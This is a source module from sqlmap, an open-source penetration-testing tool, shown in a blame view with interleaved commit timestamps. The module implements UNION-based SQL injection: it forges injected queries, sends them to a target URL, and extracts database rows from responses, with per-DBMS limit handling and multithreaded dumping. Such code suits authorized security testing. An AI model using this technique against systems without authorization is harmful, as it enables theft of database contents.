sqlmap/lib/techniques/union/use.py

353 lines
14 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
2012-01-11 18:59:46 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
import threading
2008-10-15 19:38:22 +04:00
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import BigArray
2011-01-31 15:41:39 +03:00
from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
2011-03-17 11:54:20 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getConsoleWidth
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
2011-12-21 15:50:49 +04:00
from lib.core.common import incrementCounter
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
2011-01-31 15:41:39 +03:00
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
2011-06-08 18:35:23 +04:00
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import safecharencode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2011-01-14 12:45:47 +03:00
from lib.core.exception import sqlmapSyntaxException
from lib.core.settings import FROM_TABLE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
2008-10-15 19:38:22 +04:00
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
2008-10-15 19:38:22 +04:00
def __oneShotUnionUse(expression, unpack=True, limited=False):
2011-10-12 02:27:49 +04:00
retVal = conf.hashDB.retrieve(expression) if not any([conf.flushSession, conf.freshQueries]) else None
2011-10-12 02:40:00 +04:00
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
2011-10-12 01:58:57 +04:00
if retVal is None:
2011-09-26 01:10:45 +04:00
check = "(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
# Prepare expression with delimiters
2011-12-21 15:50:49 +04:00
injExpression = unescaper.unescape(agent.concatQuery(expression, unpack))
2011-12-21 15:50:49 +04:00
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None
# Forge the inband SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
2011-09-26 01:10:45 +04:00
query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], None, limited)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
2011-12-21 15:50:49 +04:00
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# sql injection output
2011-12-22 03:23:00 +04:00
retVal = reduce(lambda x, y: x if x is not None else y, ( \
extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
2011-12-22 03:23:00 +04:00
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
else:
trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode:
warnMsg = "if the problem persists with 'None' values please try to use "
2012-02-01 18:49:42 +04:00
warnMsg += "hidden switch '--no-cast' (fixing problems with some collation "
warnMsg += "issues)"
singleTimeWarnMessage(warnMsg)
conf.hashDB.write(expression, retVal)
return retVal
2011-01-20 01:48:06 +03:00
def configUnion(char=None, columns=None):
def __configUnionChar(char):
if not isinstance(char, basestring):
return
kb.uChar = char
if conf.uChar is not None:
kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
def __configUnionCols(columns):
if not isinstance(columns, basestring):
return
2011-01-20 01:48:06 +03:00
columns = columns.replace(" ", "")
if "-" in columns:
colsStart, colsStop = columns.split("-")
else:
colsStart, colsStop = columns, columns
2011-01-18 01:57:33 +03:00
2011-01-25 16:04:13 +03:00
if not colsStart.isdigit() or not colsStop.isdigit():
2011-01-20 01:48:06 +03:00
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
2011-01-18 01:57:33 +03:00
2011-12-21 15:50:49 +04:00
conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols range has to be from lower to "
errMsg += "higher number of columns"
raise sqlmapSyntaxException, errMsg
2011-01-18 01:57:33 +03:00
__configUnionChar(char)
__configUnionCols(conf.uCols or columns)
2011-01-18 01:57:33 +03:00
2011-02-07 01:32:44 +03:00
def unionUse(expression, unpack=True, dump=False):
2008-10-15 19:38:22 +04:00
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = ""
2011-12-21 15:50:49 +04:00
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
2012-02-01 14:14:23 +04:00
if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper():
2011-11-23 19:51:48 +04:00
# No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps
2012-02-01 14:14:23 +04:00
expression = expression[:expression.upper().rindex(" ORDER BY ")]
2011-11-23 19:38:31 +04:00
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
2011-02-02 16:34:09 +03:00
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop))) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
2008-10-15 19:38:22 +04:00
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
2008-10-15 19:38:22 +04:00
if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
2011-01-06 12:48:04 +03:00
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart - 1
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
2011-10-24 13:55:50 +04:00
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
2012-02-01 14:14:23 +04:00
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
count = resume(countedExpression, None)
2011-12-22 14:44:14 +04:00
count = parseUnionPage(count)
if not count or not count.isdigit():
2011-02-07 01:32:44 +03:00
output = __oneShotUnionUse(countedExpression, unpack)
if output:
2011-12-22 14:44:14 +04:00
count = parseUnionPage(output)
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
2012-02-01 16:28:06 +04:00
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
2012-02-01 15:00:01 +04:00
elif not count or int(count) == 0:
2012-01-07 21:45:45 +04:00
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
2011-08-02 21:31:13 +04:00
return value
2011-07-03 02:48:56 +04:00
threadData = getCurrentThreadData()
2011-07-26 00:17:44 +04:00
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
2011-07-03 02:48:56 +04:00
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.limits.acquire()
2011-07-26 00:17:44 +04:00
try:
num = threadData.shared.limits.next()
except StopIteration:
break
2011-07-26 00:17:44 +04:00
finally:
kb.locks.limits.release()
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = __oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
2011-09-26 01:10:45 +04:00
if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.chars.start, kb.chars.stop), output, re.DOTALL | re.IGNORECASE).split(kb.chars.delimiter)
kb.locks.value.acquire()
threadData.shared.value.append(items[0] if len(items) == 1 else items)
kb.locks.value.release()
else:
2011-09-26 01:10:45 +04:00
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1:
2011-10-12 02:40:00 +04:00
status = "[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout(status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
2011-04-06 18:40:45 +04:00
warnMsg = "user aborted during enumeration. sqlmap "
2011-03-31 18:13:53 +04:00
warnMsg += "will display partial output"
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
finally:
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value:
2011-10-28 19:24:35 +04:00
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) # full inband doesn't play well with ORDER BY
2011-02-07 01:32:44 +03:00
value = __oneShotUnionUse(expression, unpack)
2008-10-15 19:38:22 +04:00
duration = calculateDeltaSeconds(start)
2008-10-15 19:38:22 +04:00
if not kb.bruteMode:
2011-12-21 15:50:49 +04:00
debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
2008-10-15 19:38:22 +04:00
return value